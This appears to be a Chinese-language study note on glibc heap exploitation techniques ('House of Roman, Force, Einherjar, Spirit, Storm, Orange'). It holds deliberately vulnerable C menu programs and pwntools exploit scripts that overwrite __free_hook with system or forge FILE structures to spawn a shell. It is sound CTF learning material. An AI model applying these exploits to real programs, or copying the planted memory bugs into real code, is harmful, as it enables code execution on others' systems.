House_of_xxx

house of 系列

house of roman

这个主要是利用方法就是通过unsorted bin 的fd 的低两字节对glibc上的某个结构进行要给1/16的一个覆盖爆破这里我们要对这个攻击方式进行一个学习

这里我们攻击流程和原理

这个漏洞和我们的glibc的版本和源码无关,主要是利用pie保护的一个缺陷。

因此我们的流程图是这样的

image-20250524223941234

image-20250524224025348

image-20250524224041117

这个就是整个数据结构的一个流程

但是着我们要注意远程是否又开aslr的地址随机化。同时可以通过/proc/sys/kernel/randomize_va_space的值是可以控制的这里就要移步学习aslr相关的程序

下面这一段就是他的一个核心代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
		add_chunk(0, 0x68)
        add_chunk(1, 0x98)
        add_chunk(2, 0x68)#这个创建了三个堆块

        delete_chunk(1)#这里吧chunk1给free掉是的他进入unsortbin
        add_chunk(3, 0x28)#这里分割出一个0x28大小的堆块,是的chunk1有0x68大小的堆使得它可以绕过fastbin的一个检查这里就要看fastbin attck
        add_chunk(1, 0x68)
        edit_chunk(1, p16(0xbaed))#这里这个数据是用来覆盖到mallod_hook的一个操作

        delete_chunk(2)#double free
        delete_chunk(0)
        delete_chunk(2)

        add_chunk(0, 0x68) 
        edit_chunk(0, p8(0xa0))

        add_chunk(0, 0x68)#这里我们就可以指向0xa0方向的heap
        add_chunk(0, 0x68)
        add_chunk(0, 0x68)
        add_chunk(0, 0x68)

house of force

这个攻击手法主要就是通过篡改topchunk的size为一个很大的值可以绕过对用户请求大小和topchunk现有的size进行一个验证

先看一下现有的验证模式:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
    remainder_size = size - nb;
    remainder = chunk_at_offset(victim, nb);
    av->top = remainder;
    set_head(victim, nb | PREV_INUSE |
    (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head(remainder, remainder_size | PREV_INUSE);
    check_malloced_chunk(av, victim, nb);
    void *p = chunk2mem(victim);
    alloc_perturb(p, bytes);
    return p;
}

如果用户请求的堆块大小不受限制就可以使得topchunk指向我们希望的任何位置。

但是自2.29版本新增加了对top chunk size的合理性的检查,就失效了

1
2
3
4
victim = av->top;
size = chunksize (victim);
if (__glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): corrupted top size");

实例代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

size_t get_num() {
    size_t num;
    scanf("%llu", &num);
    return num;
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    size_t size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}

patch.sh

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
#!/bin/bash

VERSION=2.27
LIBC_NAME=libc.so.6
LD_NAME=ld-linux-x86-64.so.2

gcc pwn.c -o pwn -g
cp /glibc/${VERSION}/amd64/lib/${LIBC_NAME} .
cp /glibc/${VERSION}/amd64/lib/${LD_NAME} .

chmod 777 ${LIBC_NAME}
chmod 777 ${LD_NAME}

patchelf --replace-needed libc.so.6 ./${LIBC_NAME} ./pwn
patchelf --set-interpreter ./${LD_NAME} ./pwn

这里我们就要说明一下使用这个手法的坑了

1
他对我们输入数据的类型有着一定的限制也就是他在get-num的时候的获取的类型需要为一个机器字长的数据如果他构造的是一个int也是不行的尤其是size位

这里使用一下他的具体代码实现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#由于我们需要它的堆地址和libc所以我们需要调用4个堆块
add_chunk(0, 0x410)
add_chunk(1, 0x410)
add_chunk(2, 0x410)
add_chunk(3, 0x410)

delete_chunk(0)
delete_chunk(2)
show_chunk(0)
p.recv()
libc.address = u64(p.recv(6)[-6:].ljust(8, b'\x00')) - 0x3afca0
info("libc base: " + hex(libc.address))
show_chunk(2)
p.recv()
heap_base = u64(p.recv(6)[-6:].ljust(8, b'\x00')) - 0x250
info("heap base: " + hex(heap_base))

delete_chunk(1)
delete_chunk(3)#把堆块重新放回去

n64 = lambda x: (x + 0x10000000000000000) & 0xFFFFFFFFFFFFFFFF

add_chunk(0, 0x18)

edit_chunk(0, b'a' * 0x18 + p64(n64(-1)))#修改top chunk的size

add_chunk(0, n64((libc.sym['__free_hook']-0x10)-(heap_base+0x270)-0x10-0x40))#直接通过偏移早到free hook的地方
info(hex(n64(-1)))

add_chunk(0,0x100)
edit_chunk(0, b'/bin/sh'.ljust(0x48, b'\x00') + p64(libc.sym['system']))
delete_chunk(0)

说实话其实这个用法也不是很好用的一个手法

house of einherjar

这个攻击手法主要使用的一个技术手段就是heap overlapping的一个攻击手法,同时他的主要一个攻击手法就是使用的是在利用释放不在fast bin大小范围的chunk尝试和前面的chunk进行要给unlink的一个机制

image-20250601184317006

上面就是我们的一个攻击流程图由于他也是使用到了unlink因此我们要对unlink进行一个,而这个绕过就要去查看unlink的绕过方式了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
add_chunk(0, 0x208)
add_chunk(1, 0x208)
add_chunk(2, 0xf8)
add_chunk(3, 0x28)

delete_chunk(0)
delete_chunk(2)
# gdb.attach(p)
show_chunk(0)
p.recv()
libc.address = u64(p.recv(6)[-6:].ljust(8, b'\x00')) - 0x39bb78
info("libc base: " + hex(libc.address))
edit_chunk(0, 'a' * 8)
show_chunk(0)
p.recv()
heap_base = u64(p.recv(14)[-6:].ljust(8, b'\x00')) - 0x420
info("heap base: " + hex(heap_base))
gdb.attach(p)
edit_chunk(0, p64(libc.address+0x39bb78))
#上面的主要做了libc leak和heap leak,下面是工具的主要利用
#重新申请堆块并且在chunk0中写入fake chunk下面满足的绕过条件是fd的bk等于bk的fd
add_chunk(0,0x208)
add_chunk(2,0xf8)

fake_chunk = b''
fake_chunk += p64(0)
fake_chunk += p64(0x411)
fake_chunk += p64(heap_base+0x10)
fake_chunk += p64(heap_base+0x10)

edit_chunk(0,fake_chunk)
#并且要更改下一个chunk的pver_size和size的inuser位是的他完成unlink合并
edit_chunk(1,b'a'*0x200 + p64(0x410)+p8(0))
gdb.attach(p)

# gdb.attach(p,'b __int_free\nc')
# pause()

delete_chunk(2)

house of Spirit

它主要使用的方式就是在目标位置伪造fastbin chunk 并且释放,从而达到分配指定地址的chunk的目的。

image-20250602213644026

要想构造fastbin fake chunk,并且将其释放时,可以将其放入到对应的fastbin链表,需要绕过一些检查

其中第一个时fake chunk 的ismmap位不能为1,因为free时,如果时mmap的chunk,会单独处理会进行一个单独处理。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
if (chunk_is_mmapped(p)) /* release mmapped memory. */
{
    /* see if the dynamic brk/mmap threshold needs adjusting */
    if (!mp_.no_dyn_threshold && p->size > mp_.mmap_threshold && p->size<= DEFAULT_MMAP_THRESHOLD_MAX) {
        mp_.mmap_threshold = chunksize(p);
        mp_.trim_threshold = 2 * mp_.mmap_threshold;
        LIBC_PROBE(memory_mallopt_free_dyn_thresholds, 2,
        mp_.mmap_threshold, mp_.trim_threshold);
    } m
        unmap_chunk(p);
        return;
}
ar_ptr = arena_for_chunk(p);
_int_free(ar_ptr, p, 0);

斌且fake chunk地址需要对戏malloc_align_mask这个大小

1
2
3
4
5
6
7
8
9
#define MINSIZE \
	(unsigned long) (((MIN_CHUNK_SIZE + MALLOC_ALIGN_MASK) &
~MALLOC_ALIGN_MASK))
#define aligned_OK(m) (((unsigned long) (m) &MALLOC_ALIGN_MASK) == 0)
	/* We know that each chunk is at least MINSIZE bytes in size or a multiple of MALLOC_ALIGNMENT. */
	if (__glibc_unlikely(size < MINSIZE || !aligned_OK(size))) {
        errstr = "free(): invalid size";
        goto errout;
}

同时还要保证fake chunk的size大小需要满足fast bin的需求

1
if ((unsigned long) (size) <= (unsigned long) (get_max_fast())

fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ ,同时也不能大小av->system_mem

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
if (__builtin_expect(chunk_at_offset(p, size)->size <= 2 * SIZE_SZ,
0) ||
	__builtin_expect(chunksize(chunk_at_offset(p, size)) >= av->system_mem, 0)) {
	/* We might not have a lock at this point and concurrent
modifications of system_mem might have let to a false positive. Redo the test after getting the lock. */
        if (have_lock || ({
        assert(locked == 0);
        mutex_lock(&av->mutex);
        locked = 1;
        chunk_at_offset(p, size)->size <= 2 * SIZE_SZ ||chunksize(chunk_at_offset(p, size)) >= av->system_mem;
        })) {
            errstr = "free(): invalid next size (fast)";
            goto errout;
        } 
            if (!have_lock) {
            (void) mutex_unlock(&av->mutex);
            locked = 0;
    }
}

fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况

1
2
3
4
if (__builtin_expect(old == p, 0)) {
    errstr = "double free or corruption (fasttop)";
    goto errout;
}

这里需要一个例题:lctf2016_pwn200

house of strom

house of strom是一个可以用来任意地址malloc的一个方法而这个方法本质上就是通过unsorted bin和large bin的结合来进行一个合作来完成的

这个方法主要的一个实现方式就是通过我们在large bin中构造一个fakechunk 使得这个chunk里面通unsorted bin中构造一个堆块进行要给写入就可以在fakechunk的位置写入一个堆地址使得我们可以构造一个size文件

因此我们的攻击手法也是比较明确了

这里我们调用的文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

size_t get_num() {
    size_t num;
    scanf("%llu", &num);
    return num;
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    size_t size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])


def add_chunk(index, size):
    p.sendlineafter("choice:", "1")
    p.sendlineafter("index:", str(index))
    p.sendlineafter("size:", str(size))


def delete_chunk(index):
    p.sendlineafter("choice:", "2")
    p.sendlineafter("index:", str(index))


def edit_chunk(index, content):
    p.sendlineafter("choice:", "3")
    p.sendlineafter("index:", str(index))
    p.sendlineafter("length:", str(len(content)))
    p.sendafter("content:", content)


def show_chunk(index):
    p.sendlineafter("choice:", "4")
    p.sendlineafter("index:", str(index))

add_chunk(0, 0x418)
add_chunk(1, 0x18)
add_chunk(2, 0x428)
add_chunk(3, 0x18)
delete_chunk(0)
show_chunk(0)
p.recv()
libc.address = u64(p.recv(6)[-6:].ljust(8, b'\x00')) - 0x39bb78
info("libc base: " + hex(libc.address))

add_chunk(10,0x500)
edit_chunk(0, p64(0) + p64(libc.sym['__free_hook'] - 8) + p64(0) + p64(libc.sym['__free_hook'] - 0x10 - 0x18 - 5))
delete_chunk(2)
edit_chunk(2, p64(0) + p64(libc.sym['__free_hook'] - 0x10))

add_chunk(4,0x48)
# gdb.attach(p)
gdb.attach(p)

p.interactive()

这个攻击手法在2.29以后也是失效了

house of rabbit

house of orange

这个手法其实就是当我们函数中没有出现free这个函数的时候通过编译系统上的一定的手法再无free情况下来得到一个unsortedbin的一个chunk后半部分就是通过unsorted bin attack来劫持io list all来实现fsop

这里我就直接上文件代码和源代码了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])


def add_chunk(index, size):
    p.sendafter("choice:", "1")
    p.sendafter("index:", str(index))
    p.sendafter("size:", str(size))


def delete_chunk(index):
    p.sendafter("choice:", "2")
    p.sendafter("index:", str(index))


def edit_chunk(index, content):
    p.sendafter("choice:", "3")
    p.sendafter("index:", str(index))
    p.sendafter("length:", str(len(content)))
    p.sendafter("content:", content)


def show_chunk(index):
    p.sendafter("choice:", "4")
    p.sendafter("index:", str(index))

add_chunk(0,0x18)
edit_chunk(0,b'a'*0x18+p64(0xfe1))
add_chunk(1,0xff0)
add_chunk(1,0xff0)

edit_chunk(0,'a'*0x20)
show_chunk(0)
p.recvuntil(b'a'*0x20)
libc.address = u64(p.recv(6).ljust(8,b'\x00'))-0x39c188
info("libc.address:"+hex(libc.address))

edit_chunk(0,'a'*0x30)
show_chunk(0)
p.recvuntil(b'a'*0x30)
heap_base = u64(p.recv(6).ljust(8,b'\x00'))& ~0xfff
info("heap_base:"+hex(heap_base))

edit_chunk(0,b'a'*0x18+p64(0xfe1)+p64(libc.address+0x39c188)*2+p64(heap_base+0x20)*2)

add_chunk(2,0x18)

fake_file = b""
fake_file += b"/bin/sh\x00"  # _flags, an magic number
fake_file += p64(0x61)  # _IO_read_ptr
fake_file += p64(0)  # _IO_read_end
fake_file += p64(libc.sym['_IO_list_all'] - 0x10)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(libc.sym['system'])  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base;
fake_file += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(0)  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_file += p16(0)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(0)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8, b'\x00')  # adjust to vtable
fake_file += p64(heap_base + 0x40 + 0x10)  # fake vtable

edit_chunk(2,b'a'*0x10+fake_file)

gdb.attach(p,'b _int_malloc\nc')

add_chunk(4,0x500)



p.interactive()
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}

这里我们可以看到我们通过溢出先改了topchunk的数据,由于我们再编译系统中我们可以知道当我的topchunk大小小于我们需要申请的大小是他会使用brk来重新申请一段topchunk出来进行一个分配,而前面的那一段topchunk会直接释放掉,这样我们就可以获得一个free的一个chunk来得到一个数据,接下来就是通过修改值来获得一些权限了

这里我们再说一下这个的一个底层原理,当我们free掉这个值以后我们就可以越界写到这个值的这个位置因我们可以吧他的大小改成一个0x61并且再bk上加上io list all-0x10当我们申请的时候会把0x61放到smallbin中并且list-all指向我们的整个bin数组,同时我们0x68的这个偏移上0x61这个位置刚好是chain的位置这样我们就可以修改io list pauts的一个值了